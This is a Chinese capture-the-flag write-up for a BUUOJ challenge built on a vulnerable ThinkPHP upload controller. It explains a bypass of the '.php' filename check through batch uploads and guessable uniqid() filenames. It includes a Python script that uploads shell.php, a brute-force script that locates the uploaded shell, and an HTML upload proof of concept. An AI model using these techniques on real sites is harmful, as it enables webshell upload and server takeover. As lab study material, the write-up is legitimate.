前言
关键字:[thinkphp|uniqid|thinkphp上传]
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
题解
thinkphp的上传,默认上传地址为/home/index/upload
,这真想不到
http://ce34bf36-7954-4ba3-b71b-971bc4084686.node4.buuoj.cn:81/index.php/home/index/upload
上传成功后会给出路径
thinkphp上传漏洞
ThinkPHP里的upload()
函数在不传参的情况下是批量上传的,整个$_FILES
数组的文件都会上传保存,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测
而且,thinkphp对于文件命名是用uniqid()
函数,这是基于毫秒级的当前时间。
<?php
echo uniqid();
echo '<br>';
echo uniqid();
一快点就变两位,一般来说就变三位。
可见,我只要上传图片1,shell,图片2,然后就能爆破出shell文件的文件名。
因为是16进制,所以需要字符只有
0123456789abcdef
解法1
import requests
session = requests.session()
url = 'http://0023f6ee-d192-4ad9-8864-87af34a495f6.node4.buuoj.cn:81/index.php/home/index/upload'
file1 = {'file': open('1.txt', 'r')}
# upload()不传参时即是批量上传所以用[]
file2 = {'file[]': open('shell.php', 'r')}
r = session.post(url, files=file1)
print(r.text)
r = session.post(url, files=file2)
print(r.text)
r = session.post(url, files=file1)
print(r.text)
{"url":"\/Public\/Uploads\/2021-08-16\/611a6459b7a3b.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2021-08-16\/611a6459dd848.txt","success":1}
这样上传还挺慢的,需要爆破5位。
import requests
session = requests.session()
target = 'http://0023f6ee-d192-4ad9-8864-87af34a495f6.node4.buuoj.cn:81/'
str = '0123456789abcdef'
for i in str:
for j in str:
for k in str:
for o in str:
for p in str:
url = target+i+j+k+o+p+".php"
r = session.get(url)
if r.status_code == 200:
print(url)
解法2
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://ce34bf36-7954-4ba3-b71b-971bc4084686.node4.buuoj.cn:81/index.php/home/index/upload" method="POST" enctype="multipart/form-data">
<!-- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> -->
<input type="file" name="file" />
<input type="file" name="file2" />
<input type="submit" value="submit" />
</form>
</body>
</html>
\/Public\/Uploads\/2021-08-16\/611a58b82a4b0.png
试了两回,终于跑到了。
打开一看,直接给了flag
不解之处
迷惑的是,如果是上传txt,数据包可以随便改
但换成图片,哪怕是把下面的file1改为file2,都不会返回路径
且Content-Length: 3568
一下变成Content-Length: 4809
感觉就像是重新编码了一样,然后导致上传错误